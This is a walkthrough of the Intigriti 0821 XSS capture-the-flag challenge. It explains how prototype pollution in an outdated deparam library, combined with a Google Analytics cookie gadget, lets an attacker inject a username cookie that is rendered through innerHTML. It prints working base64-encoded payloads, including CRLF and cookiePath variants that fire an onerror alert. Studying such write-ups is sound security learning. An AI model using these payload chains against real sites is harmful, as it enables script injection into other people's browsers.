Initigriti XSS Challenge 0821
Description:
The challenge is to find an XSS vulnerability on https://challenge-0821.intigriti.io. This was a guest challenge created by https://twitter.com/WHOISbinit!
Let’s dive in and see if we can trigger an xss
Analysis
The page contains a welcome message and a bunch of links inside an iframe
that point to cooking.html
, which on being clicked changes the page a bit with additional stuff being added. The links contain some base64 data at the end.
https://challenge-0821.intigriti.io/challenge/cooking.html?recipe=dGl0bGU9VGhlJTIwYmFzaWMlMjBYU1MmaW5ncmVkaWVudHMlNUIlNUQ9QSUyMHNjcmlwdCUyMHRhZyZpbmdyZWRpZW50cyU1QiU1RD1Tb21lJTIwamF2YXNjcmlwdCZwYXlsb2FkPSUzQ3NjcmlwdCUzRWFsZXJ0KDEpJTNDL3NjcmlwdCUzRSZzdGVwcyU1QiU1RD1GaW5kJTIwdGFyZ2V0JnN0ZXBzJTVCJTVEPUluamVjdCZzdGVwcyU1QiU1RD1FbmpveQ==
Decoded
https://challenge-0821.intigriti.io/challenge/cooking.html?recipe=title=The%20basic%20XSS&ingredients%5B%5D=A%20script%20tag&ingredients%5B%5D=Some%20javascript&payload=%3Cscript%3Ealert(1)%3C/script%3E&steps%5B%5D=Find%20target&steps%5B%5D=Inject&steps%5B%5D=Enjoy
The title contains the data that is populated in the page. Everything points at DOM XSS as the base64 data seems to be processed on client side. Let’s look at the source to find how the values are being injected.
There is a file named main.js
that seems to be doing all the heavy lifting. Here is the break down of what it does.
// This thing is called after the page loaded or something. Not too sure...
const handleLoad = () => {
let username = readCookie('username');
if (!username) {
document.cookie = `username=unknownUser${Math.floor(Math.random() * (1000 + 1))};path=/`;
}
let recipe = deparam(atob(new URL(location.href).searchParams.get('recipe')));
ga('create', 'ga_r33l', 'auto');
welcomeUser(readCookie('username'));
generateRecipeText(recipe);
console.log(recipe)
}
window.addEventListener("load", handleLoad);
-
When the page loads, the script check for a cookie named
username
and creates one if it doesn’t exist. The cookie value is of the formatunknownUser
+ a random number. -
Take the base64 encoded string, decodes it and separates it into parameters using
deparam
. -
Call
ga()
function which is an initializer of google analytics code. -
Injects the username into the page
-
Sets the values of recipes according to the values in base64 encoded string.
Vulnerability
function welcomeUser(username) {
let welcomeMessage = document.querySelector("#welcome");
welcomeMessage.innerHTML = `Welcome ${username}`;
}
The script mainly uses .innerText
to set the dynamic values throughout the script with an exception for username, which is set using .innerHTML
. .innerText
can mitigate xss if used properly and that seems to be the case here. Therefore the only way to gain xss is by changing the value of username
.
Analysis
// As we are a professional company offering XSS recipes, we want to create a nice user experience where the user can have a cool name that is shown on the screen
// Our advisors say that it should be editable through the webinterface but I think our users are smart enough to just edit it in the cookies.
// This way no XSS will ever be possible because you cannot change the cookie unless you do it yourself!
And as written in comments the user has no control over the value of the cookie as it is set to specific string. Once we control the value of the cookie, xss should be trivial.
After looking around for almost a day, I couldn’t really find any way to control the value of the cookie. I was stuck and intigriti dropped the first tip on discord.
TIP 1: The Google Analytics script was not just included for tracking all of you, it may or may not contain some useful gadget!
Hmm so the xss seems to be somehow related to google anlaytics. Another day of searching and fiddling about gave nothing useful. I took a break and got busy with my work and a few days later the second hint was dropped.
TIP 2: Wait, you're telling me that deparam script hasn't been updated in 5 years? That can't be good!
Okay that seems to be a bit more interesting. I searched for deparam
vulnerabilities and got a hit.
deparam
has a Prototype Pollution
vulnerability and this was the first time I have heard about such a thing. So more searching later, I found this really good article that explains it in detail.
Every object in JavaScript has a prototype (it can also be null). If we don’t specify it, by default the prototype for an object is Object.prototype.In a nutshell, when we try to access a property of an object, JS engine first checks if the object itself contains the property. If it does, then it is returned. Otherwise, JS checks if the prototype has the property. If it doesn’t, JS checks the prototype of the prototype… and so on, until the prototype is null.
Prototype pollution can cause some interesting behavior depending on how the code is written.
For example consider the following code
const user = { userid: 123 };
if (user.admin) {
console.log('You are an admin');
}
Here the code checks if the user
has a parameter called admin
. It is possible to bypass this by polluting the prototype and adding an admin
parameter like this.
Object.prototype.admin = true;
So back to our challenge, we now have a prototype pollution and we need to figure out a way to set the cookie using this. Looking at the first tip again and after some searching on the web, I found out that google anaytics has a cookie injection due to prototype pollution. The PoC can be found here.
?__proto__[cookieName]=COOKIE%3DInjection%3B
Exploit
Okay that is awesome as that is exactly what we need. To test it out, we can base64 encode the payload and pass it to the page.
btoa("__proto__[cookieName]=COOKIE%3DInjection%3B")
"X19wcm90b19fW2Nvb2tpZU5hbWVdPUNPT0tJRSUzREluamVjdGlvbiUzQg=="
Although the script threw some errors (cause we did not include the full payload) the cookie has been successfully injected. Let’s look back at the readCookie
function to figure out how to exploit this.
function readCookie(name) {
let nameEQ = name + "=";
let ca = document.cookie.split(';');
for (let i=0; i < ca.length; i++) {
let c = ca[i];
while (c.charAt(0)===' ') c = c.substring(1,c.length);
if (c.indexOf(nameEQ) === 0) return c.substring(nameEQ.length,c.length);
}
return null;
}
welcomeUser(readCookie('username'));
- The function accepts a parameter
name
which is set asusername
by themain.js
script. It create a variablenameEQ
that contains the valueusername=
. - It takes the value of the first cookie in
document.cookie
by splitting it at;
. - Removes any starting whitespace and returns the value of the cookie which is then later set using
.innerHTML
.
Looking at the code, there are two ways we can solve this.
a. The \r\n unintended solution
Insert a cookie named username
in a way that document.cookie
returns our value first followed by the actual username
cookie.
I started playing around with cookies to understand how the order of document.cookies
is determined. The domain is looked at first and the cookie with same domain as the current domain comes first. If domains are same then the path is looked at next. The one with a path values is returned first.
In this example the cookie with value mycookie1
comes first as it has the same domain as the username
cookie set by the main.js
script.
I started trying different ways to set the path. The first attempt was to modify the pollution payload by adding the path
variable.
btoa("__proto__[cookieName]=username%3DInjection%3Bpath=/value")
"X19wcm90b19fW2Nvb2tpZU5hbWVdPXVzZXJuYW1lJTNESW5qZWN0aW9uJTNCcGF0aD0vdmFsdWU="
That failed miserably as everything after the ;
(%3B) got ignored. We can’t change the cookie path this way. After spending quite some time trying different encoding and alternatives of ;
I went back to discord and someone suggested reading the cookie RFC 6265 and I saw something related to using CRLF
(\r\n) for cookie folding. I was not really sure what it does but thought I will try using that instead of ;
.
And for some reason that I still trying to figure out, the cookie path was set to /challenge
and the we have successfully changed the document.cookie
order. Now all we have to do it change the cookie payload. So the final payload was
btoa("__proto__[cookieName]=username%3d<img%20src%3d'x'%20onerror%3dalert(document.domain)>\r\n%3b")
"X19wcm90b19fW2Nvb2tpZU5hbWVdPXVzZXJuYW1lJTNkPGltZyUyMHNyYyUzZCd4JyUyMG9uZXJyb3IlM2RhbGVydChkb2N1bWVudC5kb21haW4pPg0KJTNi"
And we get a pop up with the domain name.
b. The intended solution
After discussing with someone else who suggested looking at the ga code I saw the following
, Ad = S("userId", "uid")
, Na = T("trackingId", "tid")
, U = T("cookieName", void 0, "_ga")
, W = T("cookieDomain")
, Yb = T("cookiePath", void 0, "/")
, Zb = T("cookieExpires", void 0, 63072E3)
, Hd = T("cookieUpdate", void 0, !0)
, Be = T("cookieFlags", void 0, "")
There seems to be parameters other than cookieName
such as cookiePath
, which we might be able to control using prototype pollution. Lets try crafting another payload with path as /challenge
to change the document.cookie order.
btoa("__proto__[cookieName]=username%3d<img%20src%3d'x'%20onerror%3dalert(document.domain)>%3b&__proto__[cookiePath]=/challenge%3b")
"X19wcm90b19fW2Nvb2tpZU5hbWVdPXVzZXJuYW1lJTNkPGltZyUyMHNyYyUzZCd4JyUyMG9uZXJyb3IlM2RhbGVydChkb2N1bWVudC5kb21haW4pPiUzYiZfX3Byb3RvX19bY29va2llUGF0aF09L2NoYWxsZW5nZSUzYg=="
And that works too.